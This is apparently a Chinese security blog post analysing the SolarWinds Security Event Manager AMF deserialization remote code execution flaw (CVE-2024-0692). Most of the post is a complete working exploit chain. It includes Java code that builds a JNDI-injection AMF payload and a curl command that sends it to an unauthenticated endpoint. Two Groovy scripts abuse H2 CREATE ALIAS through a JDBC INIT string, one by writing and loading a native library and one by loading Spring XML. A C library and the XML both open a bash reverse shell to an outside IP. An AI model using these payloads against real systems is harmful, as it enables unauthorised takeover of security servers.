船山信安 2024-03-06 00:00 湖南
前言前几天刷推看到 ZDI 发了 SolarWinds Security Event Manager AMF 反序列化 RCE 的通告, 于是准备简单分析一下 https://www.zerodayinitiative.com/advisories/ZDI-24-215/ https://www.solarwinds.com/security-event-manager 首先说一下拿源码的流程 这个产品在官网就能下载到安装包, 里面是 ova 格式的 Linux 虚拟机, 需要手动导入 VMware 然后翻阅官方文档可以知道, 产品本身提供了 SSH 的功能, 但是 Shell 是一个受限的 cmcshell
appliance 菜单内可以执行 top 命令, 观察发现这是一个用 Java 编写的应用
cmcshell 本身没发现什么可以命令注入的地方, 所以只能通过虚拟机的 vmdk 文件读取磁盘内容拿到源码 这里我用的是 DiskGenius, 经过查找发现源码位于 lem 分区的 contego 目录
最后全部复制出来就行 同时得注意 Java 版本为 17, 并且没有 javac (后面会提到)
AMF 反序列化AMF (Action Message Format) 反序列化基础知识 https://codewhitesec.blogspot.com/2017/04/amf.html https://wouter.coekaerts.be/2011/amf-arbitrary-code-execution https://www.mi1k7ea.com/2019/12/07/Java-AMF3反序列化漏洞/ https://blog.csdn.net/caiqiiqi/article/details/110629969 简单来说就是一种基于 setter/getter 的二进制序列化协议, 其在反序列化的过程中会调用指定类的公共无参构造方法, 然后通过 setter 恢复相关字段 另外在部分文章中会提到 AMF 只能序列化/反序列化实现 Serializable 接口的类, 但根据我的实际测试发现也可以序列化/反序列化非 Serializable 的类 SolarWinds Security Event Manager 使用了 Apache Flex BlazeDS, 版本为 4.7.3
4.7.3 版本中官方默认禁用 AMF 反序列化, 并且引入了 ClassDeserializationValidator 来控制能够被反序列化的类 https://github.com/apache/flex-blazeds/blob/develop/RELEASE_NOTES
- Starting with 4.7.3 BlazeDS Deserialization of XML is disabled completely per default
- but can easily be enabled in your services-config.xml:
- <channels>
- <channel-definition id="amf" class="mx.messaging.channels.AMFChannel">
- <endpoint url="http://{server.name}:{server.port}/{context.root}/messagebroker/amf"
- class="flex.messaging.endpoints.AMFEndpoint"/>
- <properties>
- <serialization>
- <allow-xml>true</allow-xml>
- </serialization>
- </properties>
- </channel-definition>
- </channels>
- Also we now enable the ClassDeserializationValidator per default to only allow
- deserialization of whitelisted classes. BlazeDS internally comes with the following
- whitelist:
- flex.messaging.io.amf.ASObject
- flex.messaging.io.amf.SerializedObject
- flex.messaging.io.ArrayCollection
- flex.messaging.io.ArrayList
- flex.messaging.messages.AcknowledgeMessage
- flex.messaging.messages.AcknowledgeMessageExt
- flex.messaging.messages.AsyncMessage
- flex.messaging.messages.AsyncMessageExt
- flex.messaging.messages.CommandMessage
- flex.messaging.messages.CommandMessageExt
- flex.messaging.messages.ErrorMessage
- flex.messaging.messages.HTTPMessage
- flex.messaging.messages.RemotingMessage
- flex.messaging.messages.SOAPMessage
- java.lang.Boolean
- java.lang.Byte
- java.lang.Character
- java.lang.Double
- java.lang.Float
- java.lang.Integer
- java.lang.Long
- java.lang.Object
- java.lang.Short
- java.lang.String
- java.util.ArrayList
- java.util.Date
- java.util.HashMap
- org.w3c.dom.Document
- If you need to deserialize any other classes, be sure to register them in your
- services-config.xml:
- <validators>
- <validator class="flex.messaging.validators.ClassDeserializationValidator">
- <properties>
- <allow-classes>
- <class name="org.mycoolproject.*"/>
- <class name="flex.messaging.messages.*"/>
- <class name="flex.messaging.io.amf.ASObject"/>
- </allow-classes>
- </properties>
- </validator>
- </validators>
- (Beware, by manually providing a whitelist the default whitelist is disabled)
复制代码
相关配置位于 services-config.xml 对于 SolarWinds Security Event Manager, 这个文件位于 contego/run/tomcat/webapps/ROOT/WEB-INF/flex/services-config.xml
根据上述 XML 配置可以知道 以 ManagedSecureStreamingAmfEndpoint 为例 其父类 flex.messaging.endpoints.StreamingAMFEndpoint 会在请求时创建 FilterChain (责任链模式), 其中包含 SerializationFilter
flex.messaging.endpoints.amf.SerializationFilter#invoke 代码比较长, 仅截取部分内容
这是一个非常明显的反序列化入口点, 没有任何鉴权措施, 直接 POST 数据并设置 Content-Type 为 application/amf 就能触发反序列化
难点在于后续 Gadget 的构造 HikariCP JNDI 注入jar 依赖
目标环境为 Java 17, 不存在 TemplatesImpl, 并且 JdbcRowSetImpl 会因为 Java 模块化的原因导致无法访问 虽然存在 commons-beanutils 和 commons-collections4, 但是 AMF 反序列化的流程是调用公共无参构造函数 + setter 赋值, 入口点并不是 readObject, 也无法使用 高版本 JDK 反序列化的利用思路大致都是通过 JDBC 攻击实现 RCE, 因此可以寻找一些直接能够发起 JDBC 连接的 gadget, 或者先获取 JNDI 注入, 然后通过 JDNI 发起 JDBC 连接 注意到环境存在 HikariCP 依赖, 容易得到 com.zaxxer.hikari.HikariConfig 这个类
经典的 JNDI 注入
- package com.example;
- import com.zaxxer.hikari.HikariConfig;
- import flex.messaging.io.SerializationContext;
- import flex.messaging.io.amf.*;
- import flex.messaging.validators.ClassDeserializationValidator;
- import java.io.ByteArrayInputStream;
- import java.io.ByteArrayOutputStream;
- import java.lang.reflect.Field;
- import java.nio.file.Files;
- import java.nio.file.Paths;
- public class Demo {
- public static void main(String[] args) throws Exception {
- HikariConfig config = new HikariConfig();
- Field f = HikariConfig.class.getDeclaredField("metricRegistry");
- f.setAccessible(true);
- f.set(config, "ldap://100.109.34.110:1389/x");
- byte[] data = serialize(config);
- deserialize(data);
- Files.write(Paths.get("/Users/exp10it/payload.amf"), data);
- }
- public static byte[] serialize(Object data) throws Exception {
- MessageBody body = new MessageBody();
- body.setData(data);
- ActionMessage message = new ActionMessage();
- message.addBody(body);
- ByteArrayOutputStream out = new ByteArrayOutputStream();
- AmfMessageSerializer serializer = new AmfMessageSerializer();
- serializer.initialize(SerializationContext.getSerializationContext(), out, null);
- serializer.writeMessage(message);
- return out.toByteArray();
- }
- public static ActionMessage deserialize(byte[] amf) throws Exception {
- ByteArrayInputStream in = new ByteArrayInputStream(amf);
- AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
- SerializationContext context = SerializationContext.getSerializationContext();
- ClassDeserializationValidator validator = new ClassDeserializationValidator();
- validator.addAllowClassPattern(".*");
- context.setDeserializationValidator(validator);
- deserializer.initialize(context, in, null);
- ActionMessage actionMessage = new ActionMessage();
- deserializer.readMessage(actionMessage, new ActionContext());
- return actionMessage;
- }
- }
复制代码
将生成的 payload.amf 发送给目标服务器, 即可收到 JNDI 请求
- curl https://192.168.30.131:8443/services/messagebroker/streamingamf -k -H "Content-Type: application/amf" --data-binary @payload.amf --output -
复制代码
受限制的 JDBC H2 RCE利用思路后续原本想通过 JNDI 注入打 Java 原生反序列化, 但是没找到合适的 gadget commons-collections4 为最新的 4.4 版本, 这个版本使得包括 InvokerTransformer 在内的一系列 Transformer 都不再实现 Serializable 接口, 无法被反序列化 commons-beanutils 虽然可以利用, 但没有了 TemplatesImpl, 一时半会没找到其它的 getter gadget 于是转向 JDBC, 观察到环境存在 H2 依赖, 因此可以尝试 H2 RCE 同理, 在 HikariCP 中也存在类似的实现了 ObjectFactory 接口的类, 即 com.zaxxer.hikari.HikariJNDIFactory, 其 getObjectInstance 方法会发起 JDBC 连接
https://github.com/X1r0z/JNDIMap/blob/main/src/main/java/map/jndi/controller/database/HikariCPController.java#L21
- Reference ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null);
- ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"))
- ref.add(new StringRefAddr("jdbcUrl", url))
- return ref;
复制代码
然后是 H2 数据库 RCE, 有三种方法: CREATE ALIAS + Java/Groovy, CREATE TRIGGER + JavaScript https://paper.seebug.org/1832/ 不过在目标环境下都不能利用成功 CREATE TRIGGER + JavaScript 会提示语法错误 这是因为 Java 自带的 Nashorn JavaScript 引擎已经在 Java 15 往后被删除, 而目标环境使用的是 Java 17
环境不存在 Groovy 依赖, 因此 CREATE ALIAS + Groovy 也会报错
CREATE ALIAS + Java 同样报错, 这个就比较有意思了 在开头提到过, 虚拟机内置的 Java 17 没有 javac 命令, 因此就不能通过 CREATE ALIAS 语句动态编译 Java 源代码
但实际上翻阅文档可以知道, H2 的 CREATE ALIAS 仍然可以调用位于 classpath 内的某个公共类的公共静态方法, 这点与 Oracle 类似 https://h2database.com/html/features.html https://h2database.com/html/datatypes.html
直接给出我的两种利用思路: 写文件 + System.load 利用 File.createTempFile 创建临时文件 利用 commons-io 的 FileUtils 分块写文件 利用 commons-beanutils 的 MethodUtils 反射调用实例/静态方法 利用 System.load 加载动态链接库
ClassPathXmlApplicationContext File Write + System.loadpayload (Groovy)
- import javax.naming.Reference
- import javax.naming.StringRefAddr
- // SolarWinds Security Event Manager AMF Deserialization RCE (CVE-2024-0692)
- // file write + System.load
- def prefix = 'test'
- def lib_path = '/Users/exp10it/exp.so'
- def list = []
- // drop the previous alias if exists
- list << "DROP ALIAS IF EXISTS CREATE_FILE"
- list << "DROP ALIAS IF EXISTS WRITE_FILE"
- list << "DROP ALIAS IF EXISTS INVOKE_METHOD"
- list << "DROP ALIAS IF EXISTS INVOKE_STATIC_METHOD"
- list << "DROP ALIAS IF EXISTS CLASS_FOR_NAME"
- // alias some external Java methods
- list << "CREATE ALIAS CREATE_FILE FOR 'java.io.File.createTempFile(java.lang.String, java.lang.String)'"
- list << "CREATE ALIAS WRITE_FILE FOR 'org.apache.commons.io.FileUtils.writeByteArrayToFile(java.io.File, byte[], boolean)'"
- list << "CREATE ALIAS INVOKE_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)'"
- list << "CREATE ALIAS INVOKE_STATIC_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeExactStaticMethod(java.lang.Class, java.lang.String, java.lang.Object)'"
- list << "CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'"
- // use java.io.File.createTempFile() to create a blank file with `.so` extension
- list << "SET @file=CREATE_FILE('$prefix', '.so')"
- // read native library file and encode it to hex
- def content = new File(lib_path).bytes.encodeHex().toString()
- // split it into several chunks to avoid SQL length limit
- def data = content.toList().collate(500)*.join()
- // write the chunks to the file (append mode)
- for (d in data) {
- list << "CALL WRITE_FILE(@file, X'$d', TRUE)"
- }
- // invoke file.getAbsolutePath() to get the absolute path of the temp file
- list << "SET @path=INVOKE_METHOD(@file, 'getAbsolutePath', NULL)"
- // invoke java.lang.System.load() to load the native library
- list << "SET @clazz=CLASS_FOR_NAME('java.lang.System')"
- list << "CALL INVOKE_STATIC_METHOD(@clazz, 'load', @path)"
- // use INIT property to execute multi SQL statements, and each statement must be separated by `\;`
- def url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=${list.join('\\;')}\\;"
- def ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null)
- ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
- ref.add(new StringRefAddr("jdbcUrl", url));
- return ref
复制代码
这里有几个注意点 首先因为自 Java 9 引入的模块化机制, 不能直接使用 com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename 写文件, 因此需要找到一个来自第三方依赖的可以写文件的静态方法 org.apache.commons.io.FileUtils#writeByteArrayToFile(java.io.File, byte[], boolean)
- public static void writeByteArrayToFile(File file, byte[] data, boolean append) throws IOException {
- writeByteArrayToFile(file, data, 0, data.length, append);
- }
复制代码
但是这个方法需要一个 File 对象, 那么就得接着找能够返回 File 对象的静态方法 java.io.File#createTempFile(java.lang.String, java.lang.String, java.io.File)
- public static File createTempFile(String prefix, String suffix,
- File directory)
- throws IOException
- {
- if (prefix.length() < 3) {
- throw new IllegalArgumentException("Prefix string "" + prefix +
- "" too short: length must be at least 3");
- }
- if (suffix == null)
- suffix = ".tmp";
- File tmpdir = (directory != null) ? directory
- : TempDirectory.location();
- @SuppressWarnings("removal")
- SecurityManager sm = System.getSecurityManager();
- File f;
- do {
- f = TempDirectory.generateFile(prefix, suffix, tmpdir);
- if (sm != null) {
- try {
- sm.checkWrite(f.getPath());
- } catch (SecurityException se) {
- // don't reveal temporary directory location
- if (directory == null)
- throw new SecurityException("Unable to create temporary file");
- throw se;
- }
- }
- } while (fs.hasBooleanAttributes(f, FileSystem.BA_EXISTS));
- if (!fs.createFileExclusively(f.getPath()))
- throw new IOException("Unable to create temporary file");
- return f;
- }
复制代码
然后 CREATE ALIAS 本身只能调用静态方法, 限制太多, 需要找到一个能够调用实例方法的静态方法 (用于后续调用 getAbsolutePath 以获取 File 对象的文件路径) org.apache.commons.beanutils.MethodUtils#invokeMethod(java.lang.Object, java.lang.String, java.lang.Object) org.apache.commons.beanutils.MethodUtils#invokeStaticMethod(java.lang.Class<?>, java.lang.String, java.lang.Object)
- public static Object invokeMethod(Object object, String methodName, Object arg) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
- Object[] args = toArray(arg);
- return invokeMethod(object, methodName, args);
- }
- public static Object invokeStaticMethod(Class<?> objectClass, String methodName, Object arg) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
- Object[] args = toArray(arg);
- return invokeStaticMethod(objectClass, methodName, args);
- }
复制代码
到这里肯定会有一个问题, 既然能够调用实例方法, 那么为什么不直接 java.lang.Runtime.getRuntime().exec(cmd) ? 众所周知, 如果某个数据库支持调用外部方法, 那么就一定存在数据库类型与外部类型的映射 在 H2 中, Java 的 java.lang.Object 类型对应数据库的 JAVA_OBJECT 类型
JAVA_OBJECT 对应的 Java 对象必须是可序列化的 (Serializable) 假如要执行 java.lang.Runtime.getRuntime().exec(cmd), SQL 语句如下
- CREATE ALIAS INVOKE_STATIC_METHOD FOR '...'
- CREATE ALIAS INVOKE_METHOD FOR '...'
- CREATE ALIAS CLASS_FOR_NAME FOR '...'
- SET @clazz=CLASS_FOR_NAME('java.lang.Runtime')
- SET @runtime=INVOKE_STATIC_METHOD(@clazz, 'getRuntime', NULL)
- CALL INVOKE_METHOD(@runtime, 'exec', 'open -a Calculator')
复制代码
上述过程中 JVM 返回的 Class 对象和 Runtime 对象会被序列化保存在 H2 数据库的 clazz 和 runtime 变量内 (类型为 JAVA_OBJECT) 而 java.lang.Runtime 没有实现 Serializable 接口, 因此 SQL 语句会报错, 即需要保证过程中使用的所有变量都得是可序列化的 至于为什么还要专门找一个反射调用静态方法的 invokeStaticMethod, 这是因为上面通过 invokeMethod 调用 getAbsolutePath 返回的临时文件路径的类型为 java.lang.Object (实际上为 java.lang.String) 但是 H2 不支持 JAVA_OBJECT 与 VARCHAR (CHARACTER VARYING) 之间的类型转换, 也就无法将路径作为参数传入 java.lang.System.load(java.lang.String) https://github.com/h2database/h2database/issues/3389 因此需要找到一个参数类型为 java.lang.Object 的静态方法 (invokeStaticMethod), 然后通过这个方法间接调用 System.load, 进而加载动态链接库实现 RCE 最后要注意编译出来的 .so 比较大, 转成 Hex 后字符串的长度过长, 直接写会报错, 需要分块写入 利用流程: 首先编写 exp.c
- #include <stdlib.h>
- #include <stdio.h>
- #include <string.h>
- __attribute__ ((__constructor__)) void preload (void){
- system("bash -c 'bash -i >& /dev/tcp/100.109.34.110/4444 0>&1'");
- }
复制代码
编译
- # Linux amd64
- gcc -shared -fPIC exp.c -o exp.so
复制代码
根据之前的代码生成 payload.amf 然后将 Groovy payload 保存, 运行 JNDIMap
- java -jar JNDIMap.jar -f scripts/solarwinds-amf-rce-1.groovy -u "/Custom/x"
复制代码
curl 发送 amf payload
- curl https://192.168.30.131:8443/services/messagebroker/streamingamf -k -H "Content-Type: application/amf" --data-binary @payload.amf --output -
复制代码
ClassPathXmlApplicationContextpayload (Groovy)
- import map.jndi.server.WebServer
- import javax.naming.Reference
- import javax.naming.StringRefAddr
- // SolarWinds Security Event Manager AMF Deserialization RCE (CVE-2024-0692)
- // instantiate ClassPathXmlApplicationContext
- def list = []
- // drop the previous alias if exists
- list << "DROP ALIAS IF EXISTS INVOKE_CONSTRUCTOR"
- list << "DROP ALIAS IF EXISTS INVOKE_METHOD"
- list << "DROP ALIAS IF EXISTS URI_CREATE";
- list << "DROP ALIAS IF EXISTS CLASS_FOR_NAME"
- // alias some external Java methods
- list << "CREATE ALIAS INVOKE_CONSTRUCTOR FOR 'org.apache.commons.beanutils.ConstructorUtils.invokeConstructor(java.lang.Class, java.lang.Object)'"
- list << "CREATE ALIAS INVOKE_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)'"
- list << "CREATE ALIAS URI_CREATE FOR 'java.net.URI.create(java.lang.String)'"
- list << "CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'"
- // Spring XML content
- def content = '''<?xml version="1.0" encoding="UTF-8" ?>
- <beans xmlns="http://www.springframework.org/schema/beans"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xsi:schemaLocation="
- http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
- <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
- <constructor-arg>
- <list>
- <value>bash</value>
- <value>-c</value>
- <value><![CDATA[bash -i >& /dev/tcp/100.109.34.110/4444 0>&1]]></value>
- </list>
- </constructor-arg>
- </bean>
- </beans>
- '''
- // host the xml on a web server
- def server = WebServer.getInstance()
- server.serveFile("/exp.xml", content.getBytes())
- def xml_url = "http://$server.ip:$server.port/exp.xml"
- // invoke URI.create() to create a URI object
- list << "SET @uri=URI_CREATE('$xml_url')"
- // invoke uri.toString() to transform the type of `xml_url` (from java.lang.String to java.lang.Object) to avoid H2 SQL convert error
- // because the return type of INVOKE_METHOD is java.lang.Object
- list << "SET @xml_url_obj=INVOKE_METHOD(@uri, 'toString', NULL)"
- // instantiate ClassPathXmlApplicationContext
- list << "SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext')"
- // the second parameter of INVOKE_CONSTRUCTOR requires java.lang.Object, so we use `xml_url_obj` instead of `xml_url`
- list << "CALL INVOKE_CONSTRUCTOR(@context_clazz, @xml_url_obj)"
- // use INIT property to execute multi SQL statements, and each statement must be separated by `\;`
- def url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=${list.join('\\;')}\\;"
- def ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null)
- ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
- ref.add(new StringRefAddr("jdbcUrl", url));
- return ref
复制代码
ClassPathXmlApplicationContext 的利用思路很常见了, 在 PostgreSQL JDBC RCE 和 ActiveMQ RCE 中都出现过 需要找到一个能够调用构造函数的静态方法, 即通过 invokeConstructor 实例化 ClassPathXmlApplicationContext 加载 XML 实现 RCE org.apache.commons.beanutils.ConstructorUtils#invokeConstructor(java.lang.Class<T>, java.lang.Object)
- public static <T> T invokeConstructor(Class<T> klass, Object arg) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
- Object[] args = toArray(arg);
- return invokeConstructor(klass, args);
- }
复制代码
还是得注意一个点, 前面说过 H2 不支持 JAVA_OBJECT 与 VARCHAR (CHARACTER VARYING) 之间的类型转换, 因此直接将 XML URL 传入 INVOKE_CONSTRUCTOR 会报错, 因为对应的 invokeConstructor 的第二个参数的类型为 java.lang.Object, 即 JAVA_OBJECT, 而 H2 字符串的类型为 VARCHAR (CHARACTER VARYING) 解决方法是通过一系列的反射操作拿到一个类型为 java.lang.Object 的对象 (实际上仍然为 java.lang.String) 这里我的思路是利用 URI.create 静态方法, 返回一个 URI 对象
然后通过 INVOKE_METHOD 调用其 toString 方法, 这样由于 invokeMethod 方法签名的原因, 会使得最终返回的对象被 H2 认为是 JAVA_OBJECT 类型 最后再将这个对象作为参数传入 INVOKE_CONSTRUCTOR 即可成功实例化 ClassPathXmlApplicationContext 实现 RCE 利用流程跟前面一样
|